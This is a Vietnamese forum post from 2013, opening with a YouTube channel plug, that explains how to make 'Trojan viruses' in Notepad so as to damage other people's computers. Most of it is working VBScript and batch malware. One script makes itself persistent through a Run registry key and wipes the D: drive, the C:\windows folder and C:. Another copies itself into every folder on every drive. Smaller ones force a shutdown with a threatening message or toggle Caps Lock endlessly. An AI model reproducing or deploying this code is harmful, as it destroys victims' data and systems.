CHÀO MỪNG ĐẾN VỚI WAP,
MÌNH LÀ" BẨN BỰA BOY" CÁC BẠN LÊN YOUTUBE TÌM MÌNH VỚI TỪ KHOÁ "BẨN BỰA BOY" HOẶC CLICK VÀO nhớ supcribe kênh của mình nha , mình sẽ liên tục cập nhật những beat sáo c5 và những bản sáo hay nhất cho các bạn
Cách Tạo Ra Virus Trojan Bằng Notepad 23:10 - 22/08/2013 Mặt Dày Vô Đối Chưa có chủ đề Sau đây là 1 số đoạn mã để tạo ra những con virus, bạn có thể dùng nó để phá hoại PC người khác. cũng đơn giản thôi, nhưng rất nguy hiểm. các bạn nên sử dụng các phần mềm đóng băng trước khi thử nghiệm nhé. bước 1 các bạn click vào start/ run/ nhập vào dòng Notepad sau đó nhấn ok, sẽ hiện lên bảng untitled.notepad bước 2. coppy các đoạn code dưới để tạo ra virus. và nhớ lưu với đuôi theo cách hướng dẫn ví dụ: abc.BAT -làm treo máy tính ( đuôi BAT) code: msgbox"Error !" On Error Resume Next Set vip_xinh = Createobject("scripting.filesystemobject") vip_xinh.copyfile wscript.scriptfullname,vip_xinh.GetSpecialFolder(0 )& "\ vip_xinh.vbs" Set vip_xinh2= CreateObject("WScript.Shell") vip_xinh2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Ru n\die","wscript.exe "& vip_xinh.GetSpecialFolder(0)& "\ vip_xinh.vbs %" On Error Resume Next Const vic = "D:\" Delvic Sub Delvic() Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fso.DeleteFile vic & "*.*" , True fso.DeleteFolder vic & "*" , True End Sub On Error Resume Next Const vic1 = "C:\windows\" Delvic1 Sub Delvic1() Dim fso1 Set fso1 = CreateObject("Scripting.FileSystemObject") fso1.DeleteFile vic1 & "*.*" , True fso1.DeleteFolder vic1 & "*" , True End Sub On Error Resume Next Const vic2 = "C:\" Delvic2 Sub Delvic2() Dim fso2 Set fso2 = CreateObject("Scripting.FileSystemObject") fso2.DeleteFile vic2 & "*.*" , True fso2.DeleteFolder vic2 & "*" , True End Sub On Error Resume Next Set treomay= CreateObject("WScript.Shell") Do treomay.run "notepad",false loop - Và đây là con virus nguy hiểm nhất, nếu thử hãy kiểm tra xem có Deep Frizer nhé. đuôi:VBS code: Dim fso,file,VBCopy Set fso=CreateObject("Scripting.FileSystemObject") Set file=fso.OpenTextFile(WScript.ScriptFullName,1) VBCopy=file.ReadAll FolderList("A:") FolderList("B:") FolderList("C:") FolderList("D:") FolderList("E:") FolderList("F:") FolderList("G:") FolderList("H:") FolderList("I:") FolderList("J:") FolderList("K:") FolderList("L:") FolderList("M:") FolderList("N:") FolderList("O:") FolderList("P:") FolderList("Q:") FolderList("R:") FolderList("S:") FolderList("T:") FolderList("U:") FolderList("V:") FolderList("X:") FolderList("Y:") FolderList("Z:") FolderList("W:") Sub FolderList(FolderSpec) On Error Resume Next Dim f,f1,sf,COP,CAP Set f=fso.GetFolder(FolderSpec) set sf=f.SubFolders For Each f1 In sf Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs") COP.write VBCopy Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs") CAP.write VBCopy FolderList(f1.Path) Next End sub - Và đây là cách hóa giải. code: Dim fso,file,VBCopy Set fso=CreateObject("Scripting.FileSystemObject") Set file=fso.OpenTextFile(WScript.ScriptFullName,1) VBCopy=file.ReadAll FolderList("A:") FolderList("B:") FolderList("C:") FolderList("D:") FolderList("E:") FolderList("F:") FolderList("G:") FolderList("H:") FolderList("I:") FolderList("J:") FolderList("K:") FolderList("L:") FolderList("M:") FolderList("N:") FolderList("O:") FolderList("P:") FolderList("Q:") FolderList("R:") FolderList("S:") FolderList("T:") FolderList("U:") FolderList("V:") FolderList("X:") FolderList("Y:") FolderList("Z:") FolderList("W:") Sub FolderList(FolderSpec) On Error Resume Next Dim f,f1,sf,COP,CAP,ATT Set f=fso.GetFolder(FolderSpec) set sf=f.SubFolders For Each f1 In sf 'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs") 'COP.write VBCopy 'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs") 'CAP.write VBCopy 'Set ATT=fso.GetFolder(f1.Path) 'ATT.Attributes=ATT.Attributes+2 fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs") fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs") FolderList(f1.Path) Next End sub - mở thông điệp và tắt máy. ( VBS) code: mở một thông điệp rồi sẽ tự động tắt máy: Code: @echo off msg * máy bạn sẽ bị phá hủy sau 10 giây shutdown -c "máy bạn sẽ bị phá hủy sau 10 giây" -s -t 10 -Xóa một file nào đó ( CMD) Code: erase đường dẫn vd: erase C:\TEST.txt -bật tắt caps lock liên tục ( VBS) Code: Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Chỉ bấy nhiêu thôi cũng mệt mỏi rồi. mình biết chỉ có thế, các bạn trên zing hãy thử nếu có óc tò mò. hề hề! Notepad
an cap